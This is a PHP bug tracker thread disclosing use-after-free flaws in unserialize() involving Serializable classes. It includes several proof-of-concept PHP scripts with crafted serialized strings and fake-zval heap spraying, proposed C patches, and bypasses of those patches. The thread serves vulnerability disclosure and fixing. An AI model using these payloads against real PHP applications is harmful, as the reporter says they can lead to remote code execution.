|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2015-07-31 01:38 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported some similar bugs in BUG#70166, BUG#70168 and BUG#70169
```
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
return 0;
}
(*p) += datalen;
return finish_nested_data(UNSERIALIZE_PASSTHRU);
}
A specially defined Serializable lead to various problems.
PoC:
```
class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}
$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
```
We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 22:00:01 2025 UTC |
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series ), and this patch also fixes BUG#70166, BUG#70168 and BUG#70169. diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c index 8c4e629..99b61cb 100644 --- a/php-5.4.43/var_unserializer.c +++ b/php-5.4.43-fixed/var_unserializer.c @@ -363,8 +363,10 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long static inline int finish_nested_data(UNSERIALIZE_PARAMETER) { - if (*((*p)++) == '}') + if (*((*p)++) == '}') { + var_push_dtor(var_hash, rval); return 1; + } #if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE zval_ptr_dtor(rval); @@ -880,6 +882,7 @@ yy41: INIT_PZVAL(*rval); ZVAL_STRINGL(*rval, str, len, 0); + var_push_dtor(var_hash, rval); return 1; } yy46: @@ -927,6 +930,7 @@ yy48: INIT_PZVAL(*rval); ZVAL_STRINGL(*rval, str, len, 1); + var_push_dtor(var_hash, rval); return 1; } yy53: @@ -1023,6 +1027,7 @@ use_double: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_DOUBLE(*rval, zend_strtod((const char *)start + 2, NULL)); + var_push_dtor(var_hash, rval); return 1; } yy65: @@ -1094,6 +1099,8 @@ yy73: } else if (!strncmp(start + 2, "-INF", 4)) { ZVAL_DOUBLE(*rval, -php_get_inf()); } + + var_push_dtor(var_hash, rval); return 1; } @@ -1147,6 +1154,7 @@ yy79: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_LONG(*rval, parse_iv(start + 2)); + var_push_dtor(var_hash, rval); return 1; } yy83: @@ -1160,6 +1168,7 @@ yy83: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_BOOL(*rval, parse_iv(start + 2)); + var_push_dtor(var_hash, rval); return 1; } yy87: @@ -1168,6 +1177,7 @@ yy87: *p = YYCURSOR; INIT_PZVAL(*rval); ZVAL_NULL(*rval); + var_push_dtor(var_hash, rval); return 1; } yy89:Some web programs use Serializable and unserialize(), and attacker can free ZVAL easily via DateInterval, like this: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'O:12:"DateInterval":1:{s:1:"y";R:2;}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```I noticed that the latest commits in github, disable convert_to_* on DateInterval::__wakeup(), maybe this patch can fix part of this bug and all other bugs, but this bug still can be trigger easily, like this: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:1:{i:1;a:0:{'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ```free memory via the process_nested_data() with a invalid serialized string ``` static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data; ... ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data); <=== free memory return 0; } ``` PoC: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:2:{i:0;i:1;i:1;i:2'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); ``` so my previous patches can also be bypassed.update new patch for this bug, it will ban references to serialization of Serializable interface, but doing so may result in missing some features. diff --git a/php-5.4.43/var.c b/php-5.4.43-fixed/var.c index 7603ff2..837e65f 100644 --- a/php-5.4.43/var.c +++ b/php-5.4.43-fixed/var.c @@ -775,6 +775,10 @@ static void php_var_serialize_intern(smart_str *buf, zval *struc, HashTable *var /* has custom handler */ unsigned char *serialized_data = NULL; zend_uint serialized_length; + + if (ZEND_INTERNAL_CLASS != ce->type) { + BG(serialize_lock)++; + } if (ce->serialize(struc, &serialized_data, &serialized_length, (zend_serialize_data *)var_hash TSRMLS_CC) == SUCCESS) { smart_str_appendl(buf, "C:", 2); @@ -790,6 +794,11 @@ static void php_var_serialize_intern(smart_str *buf, zval *struc, HashTable *var } else { smart_str_appendl(buf, "N;", 2); } + + if (ZEND_INTERNAL_CLASS != ce->type) { + BG(serialize_lock)--; + } + if (serialized_data) { efree(serialized_data); } diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c index 8c4e629..7c76022 100644 --- a/php-5.4.43/var_unserializer.c +++ b/php-5.4.43-fixed/var_unserializer.c @@ -388,6 +388,13 @@ static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce) if (ce->unserialize == NULL) { zend_error(E_WARNING, "Class %s has no unserializer", ce->name); object_init_ex(*rval, ce); + } else if (ZEND_INTERNAL_CLASS != ce->type) { + BG(serialize_lock)++; + if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) { + BG(serialize_lock)--; + return 0; + } + BG(serialize_lock)--; } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) { return 0; }update new patch for fix this bug: diff --git a/php-5.4.43/var.c b/php-5.4.43-fixed/var.c index 7603ff2..8248003 100644 --- a/php-5.4.43/var.c +++ b/php-5.4.43-fixed/var.c @@ -966,10 +966,17 @@ PHP_FUNCTION(unserialize) PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_dtor(return_value); if (!EG(exception)) { - php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + if (!BG(unserialize).level) { + php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + } else { + zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + } } RETURN_FALSE; } + if (BG(unserialize).level != 1) { + var_push_dtor(&var_hash, &return_value); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); } /* }}} */i update a new PoC, it use fatal error level messsage replacement throw exceptions, and fix a another UaF. ``` diff --git a/./php-5.6.12/var.c b/./php-5.6.12-fixed/var.c index 3f2c0d7..8e9589c 100644 --- a/./php-5.6.12/var.c +++ b/./php-5.6.12-fixed/var.c @@ -959,14 +959,24 @@ PHP_FUNCTION(unserialize) p = (const unsigned char*) buf; PHP_VAR_UNSERIALIZE_INIT(var_hash); + if (BG(unserialize).level != 1 && (p[0] == 'r' || p[0] == 'R')) { + Z_ADDREF_PP(&return_value); + } if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) { PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_dtor(return_value); if (!EG(exception)) { - php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + if (!BG(unserialize).level) { + php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + } else { + php_error_docref(NULL TSRMLS_CC, E_ERROR, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); + } } RETURN_FALSE; } + if (BG(unserialize).level != 1) { + var_push_dtor(&var_hash, &return_value); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); } /* }}} */ ``` when the reference count of the ZVAL to zero, ZVAL will be freed from memory ``` if (*rval != NULL) { var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref; ... if (*rval != NULL) { zval_ptr_dtor(rval); } *rval = *rval_ref; ``` PoC: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ```update a new patch for fix all bugs in this report stream: diff --git a/php-5.6.12/var.c b/php-5.6.12-fixed/var.c index 3f2c0d7..c639910 100644 --- a/php-5.6.12/var.c +++ b/php-5.6.12-fixed/var.c @@ -967,6 +967,7 @@ PHP_FUNCTION(unserialize) } RETURN_FALSE; } + var_push_dtor(&var_hash, &return_value); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); } /* }}} */ diff --git a/php-5.6.12/var_unserializer.c b/php-5.6.12-fixed/var_unserializer.c index f322ef1..61fca39 100644 --- a/php-5.6.12/var_unserializer.c +++ b/php-5.6.12-fixed/var_unserializer.c @@ -90,7 +90,13 @@ PHPAPI void var_push_dtor(php_unserialize_data_t *var_hashx, zval **rval) PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval) { - var_entries *var_hash = (*var_hashx)->last_dtor; + var_entries *var_hash; + + if (!var_hashx || !*var_hashx) { + return; + } + + var_hash = (*var_hashx)->last_dtor; #if VAR_ENTRIES_DBG fprintf(stderr, "var_push_dtor_no_addref(%ld): %d (%d)\n", var_hash?var_hash->used_slots:-1L, Z_TYPE_PP(rval), Z_REFCOUNT_PP(rval)); #endif @@ -301,23 +307,20 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long ALLOC_INIT_ZVAL(key); if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); return 0; } if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) { - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); return 0; } ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { - zval_dtor(key); - FREE_ZVAL(key); - zval_ptr_dtor(&data); + var_push_dtor_no_addref(var_hash, &key); + var_push_dtor_no_addref(var_hash, &data); return 0; } @@ -347,8 +350,7 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long } var_push_dtor(var_hash, &data); - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); if (elements && *(*p-1) != ';' && *(*p-1) != '}') { (*p)--; @@ -1200,7 +1202,7 @@ yy91: if (*rval == *rval_ref) return 0; if (*rval != NULL) { - var_push_dtor_no_addref(var_hash, rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval); @@ -1242,7 +1244,7 @@ yy97: } if (*rval != NULL) { - zval_ptr_dtor(rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval); diff --git a/php-5.6.12/var_unserializer.re b/php-5.6.12-fixed/var_unserializer.re index 295acc5..894b5ec 100644 --- a/php-5.6.12/var_unserializer.re +++ b/php-5.6.12-fixed/var_unserializer.re @@ -89,7 +89,13 @@ PHPAPI void var_push_dtor(php_unserialize_data_t *var_hashx, zval **rval) PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval) { - var_entries *var_hash = (*var_hashx)->last_dtor; + var_entries *var_hash; + + if (!var_hashx || !*var_hashx) { + return; + } + + var_hash = (*var_hashx)->last_dtor; #if VAR_ENTRIES_DBG fprintf(stderr, "var_push_dtor_no_addref(%ld): %d (%d)\n", var_hash?var_hash->used_slots:-1L, Z_TYPE_PP(rval), Z_REFCOUNT_PP(rval)); #endif @@ -307,23 +313,20 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long ALLOC_INIT_ZVAL(key); if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); return 0; } if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) { - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); return 0; } ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { - zval_dtor(key); - FREE_ZVAL(key); - zval_ptr_dtor(&data); + var_push_dtor_no_addref(var_hash, &key); + var_push_dtor_no_addref(var_hash, &data); return 0; } @@ -353,8 +356,7 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long } var_push_dtor(var_hash, &data); - zval_dtor(key); - FREE_ZVAL(key); + var_push_dtor_no_addref(var_hash, &key); if (elements && *(*p-1) != ';' && *(*p-1) != '}') { (*p)--; @@ -495,7 +497,7 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER) } if (*rval != NULL) { - zval_ptr_dtor(rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval); @@ -518,7 +520,7 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER) if (*rval == *rval_ref) return 0; if (*rval != NULL) { - var_push_dtor_no_addref(var_hash, rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval);oh, i think it's maybe the following code causes the problem: var_push_dtor(&var_hash, &return_value); and use the following code: PHP_VAR_UNSERIALIZE_INIT(var_hash); + if (BG(unserialize).level != 1 && (p[0] == 'r' || p[0] == 'R')) { + Z_ADDREF_P(return_value); + } if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) { PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_dtor(return_value); if (!EG(exception)) { php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); } RETURN_FALSE; } + if (BG(unserialize).level != 1) { + var_push_dtor(&var_hash, &return_value); + } PHP_VAR_UNSERIALIZE_DESTROY(var_hash); and the following code does not need to be changed: if (*rval == *rval_ref) return 0; if (*rval != NULL) { - var_push_dtor_no_addref(var_hash, rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval); ... } if (*rval != NULL) { - zval_ptr_dtor(rval); + var_push_dtor(var_hash, rval); } *rval = *rval_ref; Z_ADDREF_PP(rval);oh, the patch can be bypass, like this: ``` class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } `````` if (*rval != NULL) { var_push_dtor_no_addref(var_hash, rval); } ``` so remove the following code can fix this issue var_push_dtor_no_addref(&var_hash, &old_rval);